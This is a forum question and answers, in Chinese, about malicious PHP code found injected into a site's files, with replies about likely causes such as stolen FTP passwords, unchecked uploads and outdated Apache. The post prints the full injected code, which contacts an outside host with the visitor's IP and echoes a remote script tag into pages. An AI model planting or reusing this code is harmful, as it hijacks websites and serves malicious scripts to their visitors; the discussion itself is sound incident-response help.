恶意PHP代码注入到PHP文件中



上周我们的服务器出现问题,代码被注入到PHP文件中。我想知道这可能是什么原因造成的。注入到我们文件中的代码片段如下所示。

#be7339#
if (empty($qjqb)) 
{
    error_reporting(0);
    @ini_set('display_errors', 0);
    if (!function_exists('__url_get_contents')) 
    {
        function __url_get_contents($remote_url, $timeout)
        {
            if(function_exists('curl_exec')) 
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $remote_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
                $_url_get_contents_data = curl_exec($ch);
                curl_close($ch);
            } 
            elseif (function_exists('file_get_contents') &&     ini_get('allow_url_fopen')) 
            {
                 $ctx = @stream_context_create(array('http' =>array('timeout' => $timeout,)));
                 $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
                 $handle = @fopen($remote_url, "r");
                 $_url_get_contents_data = @stream_get_contents($handle);
            } else {
                 $_url_get_contents_data = __file_get_url_contents($remote_url);
            }
            return $_url_get_contents_data;
        }
   }
   if (!function_exists('__file_get_url_contents'))
   {
       function __file_get_url_contents($remote_url)
       {
           if (preg_match('/^([a-z]+)://([a-z0-9-.]+)(/.*$)/i', $remote_url,  $matches))     
           {
                $protocol = strtolower($matches[1]);
                $host = $matches[2];
                $path = $matches[3];
            } else {
                // Bad remote_url-format
                return FALSE;
            }
            if ($protocol == "http") 
            {
                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
            } else 
            {
                // Bad protocol
                return FALSE;
            }
            if (!$socket)
            {
                // Error creating socket
                return FALSE;
            }
            $request = "GET $path HTTP/1.0rnHost: $hostrnrn";
            $len_written = @fwrite($socket, $request);
            if ($len_written === FALSE || $len_written != strlen($request)) 
            {
                // Error sending request
                return FALSE;
            }
            $response = "";
            while (!@feof($socket) &&
               ($buf = @fread($socket, 4096)) !== FALSE) {
               $response .= $buf;
            }
            if ($buf === FALSE) {
                // Error reading response
                return FALSE;
            }
            $end_of_header = strpos($response, "rnrn");
            return substr($response, $end_of_header + 4);
        }
    }
    if (empty($__var_to_echo) && empty($remote_domain)) 
    {
        $_ip = $_SERVER['REMOTE_ADDR'];
        $qjqb = "http://pleasedestroythis.net/L3xmqGtN.php";
        $qjqb = __url_get_contents($qjqb."?a=$_ip", 1);
        if (strpos($qjqb, 'http://') === 0)
        {
            $__var_to_echo = '<script type="text/javascript" src="' . $qjqb . '?id=13028308"></script>';
            echo $__var_to_echo;
        }
    }
}

我想问一下这是怎么发生的。以及今后如何防止这种情况发生。

提前谢谢。

脚本(PHP)代码注入通常意味着有人已经掌握了您的托管帐户的密码。至少要扫描你的电脑以查找间谍软件和病毒,然后更改你的密码。如果可能的话,在连接到主机帐户控制面板时使用SSL。使用FTP时要小心,因为它会以明文形式发送密码。查看您的主机是否支持更安全的文件传输方法。

发生这种情况最常见的方式可能是您有一个允许上传文件的脚本。然后,如果脚本没有验证上传了什么文件,恶意用户可能会上传php文件。

如果你的上传文件夹允许解析PHP文件,用户可以在浏览器中运行该PHP文件,它可以是某种文件浏览器,然后向用户显示服务器上的所有文件。现在,如果任何文件都有正确的权限,用户可以很容易地编辑文件,以包含您看到的额外代码。

通常是因为其他人访问了您的FTP或您允许上传PHP文件。

你应该查看其他文件,因为可能还有另一个代码,它不断地将这些行添加到你的代码中(只是猜测,因为开头有"#be7339#"。

您的服务器上的Apache版本是什么?这个问题可能来自于使用过时的版本。。

看看这个关于旧版本Apache安全漏洞的链接:

http://httpd.apache.org/security/vulnerabilities_20.html

最新更新